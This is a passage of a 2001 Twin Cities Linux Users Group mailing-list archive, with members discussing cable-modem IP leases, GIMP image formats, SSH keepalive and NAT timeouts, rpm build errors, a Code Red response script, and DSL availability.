Buzz-word-of-the-week. > Sooner or later they'll get them selves sorted out. > > I'm on Time Warner myself, and I've had my current IP address > for over 70 days. I know this to be true cause my dyndns address > (geekapt.homeip.net) has sent me a "no updates for 35 days" > e-mail twice. > > So if you're box is running 24/7 it will keep the same IP for > a long time. You'll still have to use a dhcp client or your > lease won't be renewed, and you'll be scrwed when someone > else gets leased that address. > > How things are in AT&T land I don't know, but remember, AT&T > is not Road Runner! > > Andrew S. Zbikowski | http://www.ringworld.org > "We can learn much more from wise words, little > from wisecracks and less from wise guys." > --William Arthur Ward > > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-> linux.org/mailman/listinfo/tclug-list > From wwatson at linuxfreemail.com Mon Aug 13 16:05:55 2001 From: wwatson at linuxfreemail.com (wwatson@linuxfreemail.com) Date: Mon Jan 17 13:26:11 2005 Subject: [TCLUG] Where is TBD? Message-ID: <200108132105.f7DL5sW25205@superglide.netfx-2000.net> I am new to linux and would like to join your LUG. I dont know what or where TBD is. Can someone let me know how to get there from Waconia, MN, just west of the Twin Cities. Thanx Get your own FREE E-mail address at http://www.linuxfreemail.com Linux FREE Mail is 100% FREE, 100% Linux, and 100% yours! From tanner at real-time.com Mon Aug 13 16:10:35 2001 From: tanner at real-time.com (Bob Tanner) Date: Mon Jan 17 13:26:11 2005 Subject: [TCLUG] Where is TBD? In-Reply-To: <200108132105.f7DL5sW25205@superglide.netfx-2000.net>; from wwatson@linuxfreemail.com on Mon, Aug 13, 2001 at 02:05:55PM -0700 References: <200108132105.f7DL5sW25205@superglide.netfx-2000.net> Message-ID: <20010813161035.B6932@real-time.com> Quoting wwatson@linuxfreemail.com (wwatson@linuxfreemail.com): > I am new to linux and would like to join your LUG. I dont know what or where > TBD is. Can someone let me know how to get there from Waconia, MN, just west > of the Twin Cities. Thanx > :-) This is great! Serious or just joking, it made my day! -- Bob Tanner | Phone : (952)943-8700 http://www.mn-linux.org | Fax : (952)943-8500 Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 From drake at lemongecko.myip.org Mon Aug 13 15:06:36 2001 From: drake at lemongecko.myip.org (Dan Drake) Date: Mon Jan 17 13:26:11 2005 Subject: [TCLUG] Where is TBD? In-Reply-To: <200108132105.f7DL5sW25205@superglide.netfx-2000.net> References: <200108132105.f7DL5sW25205@superglide.netfx-2000.net> Message-ID: <20010813160636.A32606@lemongecko.org> On Mon, Aug 13, 2001 at 02:05:55PM -0700, wwatson@linuxfreemail.com wrote: > I am new to linux and would like to join your LUG. I dont know what or > where TBD is. TBD = To Be Determined. (unless there is somewhere around here called "TBD"...!) When they do determine where the talk is, a map will be posted and you can use that to get directions / get a ride from Waconia. Dan -- lemon | Dan Drake + gecko | drake@lemongecko.org ----- | http://lemongecko.org/drake ?! | From jethro at freakzilla.com Mon Aug 13 16:12:30 2001 From: jethro at freakzilla.com (Yaron) Date: Mon Jan 17 13:26:11 2005 Subject: [TCLUG] Where is TBD? In-Reply-To: <200108132105.f7DL5sW25205@superglide.netfx-2000.net> Message-ID: Hey, On Mon, 13 Aug 2001 wwatson@linuxfreemail.com wrote: > I am new to linux and would like to join your LUG. I dont know what or where TBD is. Can someone let me know how to get there from Waconia, MN, just west of the Twin Cities. Thanx Well, you're on the mailing list, so technically you're part of the LUG. I guess you're asking about where the meeting's going to be... TBD is "To Be Determined" I think. We don't know yet. We usually don't know yet. I think the next real meeting's going to focus on security, right guys? -Yaron -- From loren at ensodex.com Mon Aug 13 16:13:28 2001 From: loren at ensodex.com (Loren Cahlander) Date: Mon Jan 17 13:26:11 2005 Subject: [TCLUG] Where is TBD? In-Reply-To: <200108132105.f7DL5sW25205@superglide.netfx-2000.net> Message-ID: To be determined. > -----Original Message----- > From: tclug-list-admin@mn-linux.org > [mailto:tclug-list-admin@mn-linux.org]On Behalf Of > wwatson@linuxfreemail.com > Sent: Monday, August 13, 2001 4:06 PM > To: tclug-list@mn-linux.org > Subject: [TCLUG] Where is TBD? > > > I am new to linux and would like to join your LUG. I dont know > what or where TBD is. Can someone let me know how to get there > from Waconia, MN, just west of the Twin Cities. Thanx > > Get your own FREE E-mail address at http://www.linuxfreemail.com > Linux FREE Mail is 100% FREE, 100% Linux, and 100% yours! > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From zibby+tclug at ringworld.org Mon Aug 13 16:17:31 2001 From: zibby+tclug at ringworld.org (Andy Zbikowski (Zibby)) Date: Mon Jan 17 13:26:11 2005 Subject: [TCLUG] Where is TBD? In-Reply-To: <200108132105.f7DL5sW25205@superglide.netfx-2000.net> Message-ID: TBD = To Be Determined or To Be Decided... We don't know either! :) Andrew S. Zbikowski | http://www.ringworld.org "We can learn much more from wise words, little from wisecracks and less from wise guys." --William Arthur Ward From tmechanic at mn.mediaone.net Mon Aug 13 16:17:36 2001 From: tmechanic at mn.mediaone.net (BT) Date: Mon Jan 17 13:26:11 2005 Subject: [TCLUG] mac addresses References: Message-ID: <3B7843EF.D3B850D7@mn.mediaone.net> Probably doesn't want to go through the "WEEK OF HELL" to get someone to actually answer then hope they really setup the new MAC. "Andy Zbikowski (Zibby)" wrote: > Why would you need to change the mac address? Don't want to call up AT&T > support and jive them the new one? Confused... > > Andrew S. Zbikowski | http://www.ringworld.org > "We can learn much more from wise words, little > from wisecracks and less from wise guys." > --William Arthur Ward > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list From Troy.A.Johnson at state.mn.us Mon Aug 13 16:46:44 2001 From: Troy.A.Johnson at state.mn.us (Troy.A Johnson) Date: Mon Jan 17 13:26:11 2005 Subject: [TCLUG] gimp and gif Message-ID: I am positive, you can do it. I'm not _absolutely_ sure Gimp can do it (page fault), but pretty sure. Netscape 4.x does not support PNG transparency, though it does support PNG. Netscape 6.x, Opera 5, and IE5 do support transparent PNGs under Win*. >>> veldy@veldy.net 08/13/01 02:44PM >>> I am not positive, but I believe you can make transparent PNG format files. Tom Veldhouse veldy@veldy.net ----- Original Message ----- From: "Amy Tanner" To: Sent: Monday, August 13, 2001 2:35 PM Subject: [TCLUG] gimp and gif > Can gimp save GIF files? The gif file format is greyed out when I try > a Save-As. > > If you need transparency, is there any option other than GIF? I'd like to > use all JPEG because of the GIF patent mess, but... > > Thanks. > -- > Amy Tanner > amy@real-time.com > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > _______________________________________________ tclug-list mailing list tclug-list@mn-linux.org https://mailman.mn-linux.org/mailman/listinfo/tclug-list From seg at haxxed.com Mon Aug 13 16:53:00 2001 From: seg at haxxed.com (Callum Lerwick) Date: Mon Jan 17 13:26:11 2005 Subject: [TCLUG] perl default.ida References: <20010812001843.G29426@real-time.com> <20010812072040.A25321@io.stderr.net> <20010812002410.H29426@real-time.com> Message-ID: <3B784C3C.9090304@haxxed.com> Bob Tanner wrote: > Quoting Thomas Eibner (thomas@stderr.net): > >>On Sun, Aug 12, 2001 at 12:18:43AM -0500, Bob Tanner wrote: >> >>>I did a test install of the default.ida perl script and I get the >>> >>> Premature end of script headers: >>> >>Sounds like bad cgi-script to me. >> > > Sure. I'll put it up on Real Time's web site. > > http://www.real-time.com/default.txt > As I have said, this is not going to work. When the real worm hits, Apache sees the garbage in the HTTP request (which is the virus body) and responds with a Bad Request error. It will not run your CGI/Perl/PHP/*anything you put there* unless you hack it to bypass the Bad Request error somehow. Perhaps set up a custom Bad Request page with this script? I know you can customise all error pages, but I dunno if you can put in a CGI... Easiest thing to do is just write a daemon that monitors Apache's access log and responds however you'd like. From evisuale at mn.mediaone.net Mon Aug 13 19:03:50 2001 From: evisuale at mn.mediaone.net (Erick Stohr) Date: Mon Jan 17 13:26:11 2005 Subject: [TCLUG] Road Runner - IP Address References: Message-ID: <3B786AE6.42412614@mn.mediaone.net> Nate Carlson wrote: > Well, my DSL at home is currently through Rythms, so I'm getting a cable > modem put in until Qwest DSL is available in my area. ($20/mo for the > first 3 months.. not bad!) > > Anyone on the LUG have Road Runner cable? I'm wondering how 'static' their > dynamic IP is.. > > Thanks! :) > > -- > Nate Carlson | Phone : (952)943-8700 > http://www.real-time.com | Fax : (952)943-8500 > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list I have RoadRunner, the static issue for me has been for the first week I had the same IP, then it got re-assigned, and I have had the same for about a month. Erick From evisuale at mn.mediaone.net Mon Aug 13 19:09:48 2001 From: evisuale at mn.mediaone.net (Erick Stohr) Date: Mon Jan 17 13:26:11 2005 Subject: [TCLUG] Road Runner - IP Address References: Message-ID: <3B786C4C.38CA1471@mn.mediaone.net> Nate Carlson wrote: > On Mon, 13 Aug 2001, Steve Siegfried wrote: > > Pretty static, but not permanent. I've gone as long as 45 days with the same > > IP address... which usually only changes when there's a power outtage and/or > > crash at your local AT&T Broadband cable hut. > > > > BTW: Don't set your box up as having a static-IP address. Use the dynamic-IP > > leases, et al. One of their "rules". > > > > BTW**2: Don't count on having your apachie server serve anything. They're blocking > > inbound port 80 due to CodeRed problems. > > Steve, > > You talkin about Road Runner, or AT&T? > > RR = Time Warner; ATT (used to) = Media One; right? > > -- > Nate Carlson | Phone : (952)943-8700 > http://www.real-time.com | Fax : (952)943-8500 > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list i don't pay too much attn with the differences, but my "internet package" says AT&T RoadRunner. Erick From blutgens at sistina.com Mon Aug 13 17:16:05 2001 From: blutgens at sistina.com (Ben Lutgens) Date: Mon Jan 17 13:26:11 2005 Subject: [TCLUG] perl default.ida In-Reply-To: <3B784C3C.9090304@haxxed.com>; from seg@haxxed.com on Mon, Aug 13, 2001 at 04:53:00PM -0500 References: <20010812001843.G29426@real-time.com> <20010812072040.A25321@io.stderr.net> <20010812002410.H29426@real-time.com> <3B784C3C.9090304@haxxed.com> Message-ID: <20010813171605.A8122@sistina.com> On Mon, Aug 13, 2001 at 04:53:00PM -0500, Callum Lerwick wrote: > >As I have said, this is not going to work. When the real worm hits, >Apache sees the garbage in the HTTP request (which is the virus body) >and responds with a Bad Request error. It will not run your >CGI/Perl/PHP/*anything you put there* unless you hack it to bypass the >Bad Request error somehow. > Not to mention that but the worm closes the socket as soon as it makes the HTTP request. I still have the perl script on my server just cause I think it's funny. -- Ben Lutgens Sistina Software Inc. What's the difference between root and God ? God doesn't think that he is root. -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 232 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20010813/fd646a75/attachment.pgp From duncan at sodatrain.com Mon Aug 13 16:42:38 2001 From: duncan at sodatrain.com (duncan) Date: Mon Jan 17 13:26:11 2005 Subject: [TCLUG] ssh disconnects In-Reply-To: Message-ID: Ive noticed that from various locations, i seem to get shorter or longer times before my ssh session disconnects between my dektop and my server that is co-lo'd. KeepAlive is set to yes in sshd_config. Any thoughts? thx -- || || || || || || duncan shannon duncan@sodatrain.com From thomas at stderr.net Mon Aug 13 19:50:28 2001 From: thomas at stderr.net (Thomas Eibner) Date: Mon Jan 17 13:26:11 2005 Subject: [TCLUG] ssh disconnects In-Reply-To: ; from duncan@sodatrain.com on Mon, Aug 13, 2001 at 05:42:38PM -0400 References: Message-ID: <20010814025027.S34861@io.stderr.net> On Mon, Aug 13, 2001 at 05:42:38PM -0400, duncan wrote: > Ive noticed that from various locations, i seem to get shorter or longer > times before my ssh session disconnects between my dektop and my server > that is co-lo'd. KeepAlive is set to yes in sshd_config. Nat/firewall timeout? (Yes, even when KeepAlive is on) -- Thomas Eibner DnsZone mod_pointer From jh at sgi.com Mon Aug 13 20:05:02 2001 From: jh at sgi.com (John Hesterberg) Date: Mon Jan 17 13:26:11 2005 Subject: [TCLUG] Crayons In-Reply-To: <20010813115510.41cf75ec.hick0088@tc.umn.edu>; from hick0088@tc.umn.edu on Mon, Aug 13, 2001 at 11:55:10AM -0500 References: <20010813115510.41cf75ec.hick0088@tc.umn.edu> Message-ID: <20010813200502.B7098@sgi.com> On Mon, Aug 13, 2001 at 11:55:10AM -0500, Mike Hicks wrote: > Anybody know these folks? > > http://www.informationweek.com/thisweek/story/IWK20010712S0018 Yes, at least some of them. John Hesterberg From dd-b at dd-b.net Mon Aug 13 20:18:30 2001 From: dd-b at dd-b.net (David Dyer-Bennet) Date: Mon Jan 17 13:26:11 2005 Subject: [TCLUG] gimp and gif In-Reply-To: <019201c12430$656a9b00$3028680a@tgt.com> References: <20010813143539.N27457@real-time.com> <019201c12430$656a9b00$3028680a@tgt.com> Message-ID: "Thomas T. Veldhouse" writes: > I am not positive, but I believe you can make transparent PNG format files. You can; in fact it supports *better* transparency than GIF does (you can have *partially* transparent pixels, which means that anti-aliasing can be used on transparent images, which means that you only have to produce one copy at any given size, instead of having to do one for each background color at each size. Unfortunately, no browser in common use supports the partial transparency, and many don't support transparency in PNG at all. I'm really annoyed at the browser people; they've done the usual "checklist" implementation -- they can display a standalone PNG image, but not much more. -- David Dyer-Bennet / Welcome to the future! / dd-b@dd-b.net Photos: http://dd-b.lighthunters.net/ Book log: http://www.dd-b.net/dd-b/Ouroboros/booknotes/ From dd-b at dd-b.net Mon Aug 13 20:19:26 2001 From: dd-b at dd-b.net (David Dyer-Bennet) Date: Mon Jan 17 13:26:12 2005 Subject: [TCLUG] gimp and gif In-Reply-To: <001601c12433$04fb3ab0$3028680a@tgt.com> References: <20010813143539.N27457@real-time.com> <019201c12430$656a9b00$3028680a@tgt.com> <20010813144724.O27457@real-time.com> <001601c12433$04fb3ab0$3028680a@tgt.com> Message-ID: "Thomas T. Veldhouse" writes: > All that matter. In my tests, last week, I didn't find any browser that supported PNG transparency properly. Now I'm wondering if I screwed something up -- or if we're talking only about showing images straight, which I agree they all do. -- David Dyer-Bennet / Welcome to the future! / dd-b@dd-b.net Photos: http://dd-b.lighthunters.net/ Book log: http://www.dd-b.net/dd-b/Ouroboros/booknotes/ From cfandre at fandre.com Mon Aug 13 21:28:22 2001 From: cfandre at fandre.com (Clay Fandre) Date: Mon Jan 17 13:26:12 2005 Subject: [TCLUG] Where is TBD? In-Reply-To: References: <200108132105.f7DL5sW25205@superglide.netfx-2000.net> Message-ID: <20010813212822.E12587@fandre.com> Yea, TBD="I have no clue right now where the meeting is going to be" I'd like to have some type of BBQ/picnic, so if anyone has any idea or suggestions on where we could have it, let me know. I will start looking tomorrow and hopefully have something nailed down by the weekend. -- Clay Yaron [jethro@freakzilla.com] wrote: > Hey, > > On Mon, 13 Aug 2001 wwatson@linuxfreemail.com wrote: > > > I am new to linux and would like to join your LUG. I dont know what or where TBD is. Can someone let me know how to get there from Waconia, MN, just west of the Twin Cities. Thanx > > Well, you're on the mailing list, so technically you're part of the LUG. > > I guess you're asking about where the meeting's going to be... TBD is "To > Be Determined" I think. We don't know yet. We usually don't know yet. I > think the next real meeting's going to focus on security, right guys? > > -Yaron > > -- > > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list From cfandre at fandre.com Mon Aug 13 21:30:19 2001 From: cfandre at fandre.com (Clay Fandre) Date: Mon Jan 17 13:26:12 2005 Subject: [TCLUG] ssh disconnects In-Reply-To: References: Message-ID: <20010813213019.F12587@fandre.com> Actually the KeepAlive setting is not meant to keep a connection alive. It means the ssh connection should be terminated if the keepalive fails. Basically it's used to keep stale ssh processes from lying around if the connection goes down. (Especially useful on dialup) duncan [duncan@sodatrain.com] wrote: > Ive noticed that from various locations, i seem to get shorter or longer > times before my ssh session disconnects between my dektop and my server > that is co-lo'd. KeepAlive is set to yes in sshd_config. > > Any thoughts? > > thx > > -- > || || || || || || > duncan shannon > duncan@sodatrain.com > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list From cfandre at fandre.com Mon Aug 13 21:36:27 2001 From: cfandre at fandre.com (Clay Fandre) Date: Mon Jan 17 13:26:12 2005 Subject: [TCLUG] gimp and gif In-Reply-To: References: <20010813143539.N27457@real-time.com> Message-ID: <20010813213627.G12587@fandre.com> You also need to convert the image to Indexed if it's an RGB image. Nate Carlson [natecars@real-time.com] wrote: > On Mon, 13 Aug 2001, Amy Tanner wrote: > > Can gimp save GIF files? The gif file format is greyed out when I try > > a Save-As. > > yeah, you gotta get the non-free stuff for gimp for it to work, though. > > under debian, you just do a apt-get install gimp1.2-nonfree.. not sure > about > redhat. > > > If you need transparency, is there any option other than GIF? I'd like to > > use all JPEG because of the GIF patent mess, but... > > png? > > -- > Nate Carlson | Phone : (952)943-8700 > http://www.real-time.com | Fax : (952)943-8500 > > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list From hick0088 at tc.umn.edu Mon Aug 13 21:43:55 2001 From: hick0088 at tc.umn.edu (Mike Hicks) Date: Mon Jan 17 13:26:12 2005 Subject: [TCLUG] ssh disconnects In-Reply-To: References: Message-ID: <20010813214355.39eade43.hick0088@tc.umn.edu> duncan wrote: > > Ive noticed that from various locations, i seem to get shorter or longer > times before my ssh session disconnects between my dektop and my server > that is co-lo'd. KeepAlive is set to yes in sshd_config. > > Any thoughts? I recall having problems with my family's IP Masq box. I ended up doing this on the firewall: # Set Masquerade timeout to 14400 seconds (4 hours) /sbin/ipchains -M -S 14400 0 0 (not sure what the equivalent would be for IP Tables) And I think I had also tried changing the kernel's keepalive time to something like 10-15 minutes on my client system by setting /proc/sys/net/ipv4/tcp_keepalive_time to something small. The default is 7200 seconds (2 hours), but I think the default for a Linux NAT box is somewhere on the order of 900 seconds (15 minutes). -- _ _ _ _ _ ___ _ _ _ ___ _ _ __ What the fuck is a / \/ \(_)| ' // ._\ / - \(_)/ ./| ' /(__ hefalump? \_||_/|_||_|_\\___/ \_-_/|_|\__\|_|_\ __) [ Mike Hicks | http://umn.edu/~hick0088/ | mailto:hick0088@tc.umn.edu ] -------------- next part -------------- A non-text attachment was scrubbed... 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What little sense vi keyboard commands make are utterly lost when your hjkl keys are no longer next to each other. I am sure there are probably keyboard mappings for vi/dvorak - but I didn't find any at the time. My frustration was that one of the machines I used did not support DVORAK translation, so I ended up switching back and forth multiple times per day. Now that all of my boxes are NT or Linux (and support software dvorak), I could probably try again. I was up to about 20 WPM, and boy, dvorak sure is confortable. That's the only way I can describe it. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- All of the problems associated with Intellectual property can easily be resolved by keeping those who believe in it on a strict diet of Intellectual bread and water. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- ______ _ __ "If you don't have the freedom to use what you / ' ) ) own - then you do not own anything." / o ______ / / _ . . No apologies to Jack Valenti or the MPAA / <_/ / / < / (_ > ----- Original Message ----- > > From: Chester A. Larson > > To: tclug-list@mn-linux.org > > Sent: Saturday, August 11, 2001 5:57 PM > > Subject: [TCLUG] Dvorak KB > > > > > > Has it been ported to Linux? If it has where do I can find a KB? > > Is it possible to just pull & re-arrange keycaps from a QWERTY kb and make > a Dvorak kb? > > > > > -.bill.layer.- > > -.those who are talking don't know, and those who know aren't talking.- > > -.frogtown.- -.minnesota.- -.u.s.a.- > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From chrome at real-time.com Tue Aug 14 03:50:29 2001 From: chrome at real-time.com (Carl Wilhelm Soderstrom) Date: Mon Jan 17 13:26:12 2005 Subject: [TCLUG] rpm build problems in rh7.2beta Message-ID: <20010814035029.A24232@real-time.com> just installed rh7.2beta on a machine, and now am trying to build rpms from source. unfortunately, it always complains about "no such file or directory", while the file is patently there! I've tried specifying the full path to the file; tried making it executable; no difference. I can install and query rpms normally; tho. just can't build. ;( is there something I'm missing, because it's 4:30am? or is something genuinely broken with this rpm version? Carl Soderstrom -- Network Engineer Real-Time Enterprises (952) 943-8700 From tanner at real-time.com Tue Aug 14 05:30:51 2001 From: tanner at real-time.com (Bob Tanner) Date: Mon Jan 17 13:26:12 2005 Subject: [TCLUG] StarOffice 5.2 install on 2.4.6, 2.4.7, 2.4.8 locks hard Message-ID: <20010814053051.A18164@real-time.com> Installing Star Office on 2.4.6, 2.4.7 and 2.4.8 locks the box hard under RedHat 7.0. Anyone else seen this before or a solution to the problem? -- Bob Tanner | Phone : (952)943-8700 http://www.mn-linux.org | Fax : (952)943-8500 Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 From JMiller2 at dainrauscher.com Tue Aug 14 06:42:54 2001 From: JMiller2 at dainrauscher.com (Miller, John) Date: Mon Jan 17 13:26:12 2005 Subject: [TCLUG] mac addresses Message-ID: <5F82C717009DF446AD6C89008A29F3941D6277@MAIL4.corp.isib.net> I took the sugestion of the chatroom. I started out 8 in line, it took about 10 min til I connected. It was nice to see where you where in line. I did not get a chance to try the connection yet. I asked about port 80, if they will be turning it back on. He said that I should not be running a server on the network and once the virus is gone, it will be turned back on. John Miller Dain Rauscher Information Services - Capital Markets Software Developer Phone: 612-547-7573 Fax: 612-547-7580 IS - Mail Stop: T23A E-mail: MailTo:JMiller2@DainRauscher.com -----Original Message----- From: BT [mailto:tmechanic@mn.mediaone.net] Sent: Monday, August 13, 2001 4:18 PM To: tclug-list@mn-linux.org Subject: Re: [TCLUG] mac addresses Probably doesn't want to go through the "WEEK OF HELL" to get someone to actually answer then hope they really setup the new MAC. "Andy Zbikowski (Zibby)" wrote: > Why would you need to change the mac address? Don't want to call up AT&T > support and jive them the new one? Confused... > > Andrew S. Zbikowski | http://www.ringworld.org > "We can learn much more from wise words, little > from wisecracks and less from wise guys." > --William Arthur Ward > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list _______________________________________________ tclug-list mailing list tclug-list@mn-linux.org https://mailman.mn-linux.org/mailman/listinfo/tclug-list From kblack at isd.net Tue Aug 14 08:18:26 2001 From: kblack at isd.net (kblack@isd.net) Date: Mon Jan 17 13:26:12 2005 Subject: [TCLUG] Off topic (DSL, Qwerst, Load Coils) Message-ID: <3b792522.6df6.0@isd.net> Has anybody convinced Qwest to remove load coils from the line to qualify for DSL? I am at about 12,900 feet from the CO, but can't qualify due to load coils on the line. I have tried the usual customer service route, but just get "what's a load coil", to "there is nothing we can do". They often reference some "tariff" issue, but can't specify what it is, nor can they tell me what tariff issue they are referencing when I ask for specifics. I plan on writing the MN PUC, but doubt that will do any good. Sounds like I am out of luck. Thanks, Kelly KB0GBJ From hick0088 at tc.umn.edu Tue Aug 14 08:45:46 2001 From: hick0088 at tc.umn.edu (Mike Hicks) Date: Mon Jan 17 13:26:12 2005 Subject: [TCLUG] rpm build problems in rh7.2beta In-Reply-To: <20010814035029.A24232@real-time.com> References: <20010814035029.A24232@real-time.com> Message-ID: <20010814084546.5cc2a44f.hick0088@tc.umn.edu> Carl Wilhelm Soderstrom wrote: > > just installed rh7.2beta on a machine, and now am trying to build rpms > from source. unfortunately, it always complains about "no such file or > directory", while the file is patently there! Are you sure that the file it's not finding is the one you're specifying? Maybe there's a config file missing or something. Try running a stack trace with `strace rpm ' and see where it gives the error. -- _ _ _ _ _ ___ _ _ _ ___ _ _ __ Happiness is a cluster of / \/ \(_)| ' // ._\ / - \(_)/ ./| ' /(__ eight Sun Enterprise \_||_/|_||_|_\\___/ \_-_/|_|\__\|_|_\ __) 10000s [ Mike Hicks | http://umn.edu/~hick0088/ | mailto:hick0088@tc.umn.edu ] -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 232 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20010814/5b0130aa/attachment.pgp From JMiller2 at dainrauscher.com Tue Aug 14 09:10:31 2001 From: JMiller2 at dainrauscher.com (Miller, John) Date: Mon Jan 17 13:26:12 2005 Subject: [TCLUG] Off topic (DSL, Qwerst, Load Coils) Message-ID: <5F82C717009DF446AD6C89008A29F3941D6278@MAIL4.corp.isib.net> I know that when I tried to get DSL, I didn't qualify do to "line filters". Two weeks after I got broadband, I got a letter from Qwest stating that DSL was available in my area. It may take time for them to get to fixing the line. John Miller Dain Rauscher Information Services - Capital Markets Software Developer Phone: 612-547-7573 Fax: 612-547-7580 IS - Mail Stop: T23A E-mail: MailTo:JMiller2@DainRauscher.com -----Original Message----- From: kblack@isd.net [mailto:kblack@isd.net] Sent: Tuesday, August 14, 2001 8:18 AM To: tclug-list@mn-linux.org Subject: [TCLUG] Off topic (DSL, Qwerst, Load Coils) Has anybody convinced Qwest to remove load coils from the line to qualify for DSL? I am at about 12,900 feet from the CO, but can't qualify due to load coils on the line. I have tried the usual customer service route, but just get "what's a load coil", to "there is nothing we can do". They often reference some "tariff" issue, but can't specify what it is, nor can they tell me what tariff issue they are referencing when I ask for specifics. I plan on writing the MN PUC, but doubt that will do any good. Sounds like I am out of luck. Thanks, Kelly KB0GBJ _______________________________________________ tclug-list mailing list tclug-list@mn-linux.org https://mailman.mn-linux.org/mailman/listinfo/tclug-list From cfandre at fandre.com Tue Aug 14 09:13:24 2001 From: cfandre at fandre.com (Clay Fandre) Date: Mon Jan 17 13:26:12 2005 Subject: [TCLUG] Converting mov files Message-ID: <20010814091324.A3959@fandre.com> Anyone know of any utils that will convert a quicktime to mpeg or avi? My digital camera creates pretty cool movies but they are saved in mov. From chrome at real-time.com Tue Aug 14 09:48:35 2001 From: chrome at real-time.com (Carl Wilhelm Soderstrom) Date: Mon Jan 17 13:26:12 2005 Subject: [TCLUG] rpm build problems in rh7.2beta In-Reply-To: <20010814084546.5cc2a44f.hick0088@tc.umn.edu>; from hick0088@tc.umn.edu on Tue, Aug 14, 2001 at 08:45:46AM -0500 References: <20010814035029.A24232@real-time.com> <20010814084546.5cc2a44f.hick0088@tc.umn.edu> Message-ID: <20010814094830.A25582@real-time.com> > Are you sure that the file it's not finding is the one you're specifying? > Maybe there's a config file missing or something. it's possible... > Try running a stack trace with `strace rpm ' and see where it > gives the error. well, here's the last few things it spews: open("/etc/rpm/macros", O_RDONLY) = -1 ENOENT (No such file or directory) open("/etc/rpm/athlon-linux/macros", O_RDONLY) = -1 ENOENT (No such file or directory) open("/home/chrome/.rpmmacros", O_RDONLY) = -1 ENOENT (No such file or directory) execve("/usr/lib/rpm/rpmb", ["/usr/lib/rpm/rpmb", "-bb", "SPECS/imwheel.spec"], [/* 36 vars */]) = -1 ENOENT (No such file or directory) open("/usr/share/locale/en_US/LC_MESSAGES/libc.mo", O_RDONLY) = -1 ENOENT (No such file or directory) open("/usr/share/locale/en/LC_MESSAGES/libc.mo", O_RDONLY) = -1 ENOENT (No such file or directory) write(2, "SPECS/imwheel.spec: No such file"..., 46SPECS/imwheel.spec: No such file or directory ) = 46 _exit(1) = ? so does this mean it's crapping out on some locale stuff? Carl Soderstrom -- Network Engineer Real-Time Enterprises (952) 943-8700 From chrome at real-time.com Tue Aug 14 09:51:42 2001 From: chrome at real-time.com (Carl Wilhelm Soderstrom) Date: Mon Jan 17 13:26:12 2005 Subject: [TCLUG] Crayons In-Reply-To: <200108131823.NAA15196@zjod.net>; from sos@zjod.net on Mon, Aug 13, 2001 at 01:23:23PM -0500 References: <20010813115510.41cf75ec.hick0088@tc.umn.edu> <200108131823.NAA15196@zjod.net> Message-ID: <20010814095142.B25582@real-time.com> > They're reputed to be building Beowulf-type boxes out of Alpha chips, but > given recent news from Convex, this may have changed. Convex is still in buisness? or did someone just buy their name? Carl Soderstrom -- Network Engineer Real-Time Enterprises (952) 943-8700 From doughanson at mediaone.net Tue Aug 14 09:56:24 2001 From: doughanson at mediaone.net (Doug Hanson) Date: Mon Jan 17 13:26:13 2005 Subject: [TCLUG] Off topic (DSL, Qwerst, Load Coils) References: <3b792522.6df6.0@isd.net> Message-ID: <008401c124d1$4a52a6e0$eaaf7a81@doug> When I had troubles with Qworst, I wrote Mr Nacchio, Chairman and CEO of Qwest directly. His email is: Joe@qwest.com Chairman and CEO Joe Nacchio After that they were falling all over me to get things fixed ;)~ But after all was said and done, I moved to Cable for the sheer speed... If you need things done, go to the top!!! Doug ----- Original Message ----- From: To: Sent: Tuesday, August 14, 2001 8:18 AM Subject: [TCLUG] Off topic (DSL, Qwerst, Load Coils) > Has anybody convinced Qwest to remove load coils from the line > to qualify for DSL? I am at about 12,900 feet from the CO, but > can't qualify due to load coils on the line. I have tried the > usual customer service route, but just get "what's a load > coil", to "there is nothing we can do". > > They often reference some "tariff" issue, but can't specify > what it is, nor can they tell me what tariff issue they are > referencing when I ask for specifics. > > I plan on writing the MN PUC, but doubt that will do any good. > > Sounds like I am out of luck. > > Thanks, > Kelly > KB0GBJ > > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list From sos at zjod.net Tue Aug 14 09:57:56 2001 From: sos at zjod.net (Steve Siegfried) Date: Mon Jan 17 13:26:13 2005 Subject: [TCLUG] Crayons In-Reply-To: <20010814095142.B25582@real-time.com> from "Carl Wilhelm Soderstrom" at Aug 14, 2001 09:51:42 AM Message-ID: <200108141457.JAA28803@zjod.net> Sorry... typo that. I meant Compaq. Carl Wilhelm Soderstrom wrote: > > > They're reputed to be building Beowulf-type boxes out of Alpha chips, but > > given recent news from Convex, this may have changed. > > Convex is 